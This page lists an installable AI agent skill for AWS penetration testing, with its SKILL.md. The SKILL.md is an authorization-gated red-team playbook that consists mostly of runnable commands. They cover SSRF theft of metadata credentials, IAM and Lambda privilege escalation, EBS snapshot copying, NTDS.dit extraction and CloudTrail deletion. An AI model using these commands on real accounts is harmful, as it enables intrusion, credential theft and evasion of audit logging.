aws-penetration-testing

Q: How do I install aws-penetration-testing?

Run npx skills add https://github.com/sickn33/agentic-awesome-skills --skill aws-penetration-testing in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/aws-penetration-testing/ (personal) or .claude/skills/aws-penetration-testing/ (project).

by sickn33DevOps & Cloud

Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.

Installs: 551
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Trending rank: —
Security: Not audited

Install

Works with every agent the skills CLI supports.

npx skills add https://github.com/sickn33/agentic-awesome-skills --skill aws-penetration-testing

01
Install
Run the command in your project. The CLI asks which agents to install for.
02
Describe the task
Ask your agent for something this skill covers. It loads aws-penetration-testing automatically when relevant.
03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.

SKILL.md

The instructions your agent reads when the skill is triggered.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

Ask the user to state the exact target URL, IP, account, or resource.

Ask the user to confirm written authorization and the permitted scope.

Show the exact command(s) and explain their expected effect.

Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

AWS Penetration Testing

Purpose

Inputs/Prerequisites

AWS CLI configured with credentials
Valid AWS credentials (even low-privilege)
Understanding of AWS IAM model
Python 3, boto3 library
Tools: Pacu, Prowler, ScoutSuite, SkyArk

Outputs/Deliverables

IAM privilege escalation paths
Extracted credentials and secrets
Compromised EC2/Lambda/S3 resources
Persistence mechanisms
Security audit findings

Essential Tools

Tool	Purpose	Installation
Pacu	AWS exploitation framework	`git clone https://github.com/RhinoSecurityLabs/pacu`
SkyArk	Shadow Admin discovery	`Import-Module .\SkyArk.ps1`
Prowler	Security auditing	`pip install prowler`
ScoutSuite	Multi-cloud auditing	`pip install scoutsuite`
enumerate-iam	Permission enumeration	`git clone https://github.com/andresriancho/enumerate-iam`
Principal Mapper	IAM analysis	`pip install principalmapper`

Core Workflow

Step 1: Initial Enumeration

Identify the compromised identity and permissions:

# Check current identity
aws sts get-caller-identity

# Configure profile
aws configure --profile compromised

# List access keys
aws iam list-access-keys

# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...

Step 2: IAM Enumeration

# List all users
aws iam list-users

# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER

# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER

# List inline policies
aws iam list-user-policies --user-name TARGET_USER

# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
# Resolve DefaultVersionId from get-policy; v1 may not be the effective version.
aws iam get-policy-version --policy-arn POLICY_ARN --version-id DEFAULT_VERSION_ID

# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME

Step 3: Metadata SSRF (EC2)

Exploit SSRF to access metadata endpoint (IMDSv1):

# Access metadata endpoint
http://169.254.169.254/latest/meta-data/

# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

For IMDSv2 (token required):

# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Fargate Container Credentials:

# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

Privilege Escalation Techniques

Shadow Admin Permissions

These permissions can enable escalation only when their allowed resources, conditions and effective policies permit the chain. They are not inherently administrator-equivalent:

Permission	Exploitation
`iam:CreateAccessKey`	Create keys for admin user
`iam:CreateLoginProfile`	Set password for any user
`iam:AttachUserPolicy`	Attach admin policy to self
`iam:PutUserPolicy`	Add inline admin policy
`iam:AddUserToGroup`	Add self to admin group
`iam:PassRole` + `ec2:RunInstances`	Launch EC2 with admin role
`lambda:UpdateFunctionCode`	Inject code into Lambda

Create Access Key for Another User

aws iam create-access-key --user-name target_user

Attach Admin Policy

aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Add Inline Admin Policy

aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json

Lambda Privilege Escalation

# code.py - Inject into Lambda function
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response

# Update Lambda code
aws lambda update-function-code --function-name target_function \
  --zip-file fileb://malicious.zip

S3 Bucket Exploitation

Bucket Discovery

# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt

# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}

Bucket Enumeration

# List buckets (with creds)
aws s3 ls

# List bucket contents
aws s3 ls s3://bucket-name --recursive

# Download all files
aws s3 sync s3://bucket-name ./local-folder

Public Bucket Search

https://buckets.grayhatwarfare.com/

Lambda Exploitation

# List Lambda functions
aws lambda list-functions

# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response

# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt

SSM Command Execution

Systems Manager allows command execution on EC2 instances:

# List managed instances
aws ssm describe-instance-information

# Execute command
aws ssm send-command --instance-ids "i-0123456789" \
  --document-name "AWS-RunShellScript" \
  --parameters commands="whoami"

# Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \
  --details --query "CommandInvocations[].CommandPlugins[].Output"

EC2 Exploitation

Mount EBS Volume

# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"

# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a

# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf

# Mount and access
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen

Shadow Copy Attack (Windows DC)

# CloudCopy technique
# 1. Create snapshot of DC volume
# 2. Share snapshot with attacker account
# 3. Mount in attacker instance
# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local

Console Access from API Keys

Convert CLI credentials to console access:

git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY

# Generates signin URL for console access

Logging-control validation in a disposable lab

Preserve audit evidence

# Delete trail
aws cloudtrail delete-trail --name trail_name

# Disable global events
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events

# Disable specific region
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events --no-is-multi-region-trail

Do not change user agents or disable logging to evade detection. A user agent alone does not establish whether GuardDuty alerts will fire; validate detections with the monitoring owner. The commands above are destructive configuration examples for a separately approved disposable lab, not cleanup steps.

Quick Reference

Task	Command
Get identity	`aws sts get-caller-identity`
List users	`aws iam list-users`
List roles	`aws iam list-roles`
List buckets	`aws s3 ls`
List EC2	`aws ec2 describe-instances`
List Lambda	`aws lambda list-functions`
Get metadata	`curl http://169.254.169.254/latest/meta-data/`

Constraints

Must:

Obtain written authorization before testing
Document all actions for audit trail
Test in scope resources only

Must Not:

Modify production data without approval
Leave persistent backdoors without documentation
Disable security controls permanently

Should:

Check for IMDSv2 before attempting metadata attacks
Enumerate thoroughly before exploitation
Clean up test resources after engagement

Examples

Example 1: SSRF to Admin

# 1. Find SSRF vulnerability in web app
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 2. Get role name from response
# 3. Extract credentials
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

# 4. Configure AWS CLI with stolen creds
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# 5. Verify access
aws sts get-caller-identity

Troubleshooting

Issue	Solution
Access Denied on all commands	Enumerate permissions with enumerate-iam
Metadata endpoint blocked	Check for IMDSv2, try container metadata
GuardDuty alerts	Coordinate expected test alerts and preserve evidence with the monitoring owner
Expired credentials	Re-fetch from metadata (temp creds rotate)
CloudTrail logging actions	Preserve logging and review test events with the monitoring owner

Additional Resources

For advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see references/advanced-aws-pentesting.md.

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

Effective-access and evidence limits

Inventory commands are not proof of exploitability. Account for explicit denies, SCPs/RCPs, boundaries, session policies, resource policies, conditions and service prerequisites. Updating Lambda code uses its execution role only when the code is actually invoked; iam:PassRole needs a compatible trusted service and a usable role. IMDSv2 requires the SSRF primitive to support the token PUT and required headers; the local curl example does not establish a remote bypass. A role name such as AdminRole proves no permission level.

Use named short-lived profiles or approved credential providers. Do not pass secrets as command-line arguments, retain real keys in shell history, dump all bucket/table data by default or upload artifacts to a different account. Prefer owner-created canary objects and bounded listings. Snapshot/volume creation, invocation, image pushes, credential creation and policy changes have cost and state effects; record exact resources and approved rollback. Mount only a disposable copy with filesystem-specific read-only/no-recovery precautions. Preserve CloudTrail and evidence throughout. Tool names and CLI fragments are leads, not a tested interoperable toolchain; no assessment was run.

FAQ

What does the aws-penetration-testing skill do?

How do I install aws-penetration-testing?

Run npx skills add https://github.com/sickn33/agentic-awesome-skills --skill aws-penetration-testing in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/aws-penetration-testing/ (personal) or .claude/skills/aws-penetration-testing/ (project).

Which AI agents can use aws-penetration-testing?

Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.

Is aws-penetration-testing safe to install?

No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.

Who maintains aws-penetration-testing?

It is published by sickn33 in sickn33/agentic-awesome-skills. It has 551 recorded installs.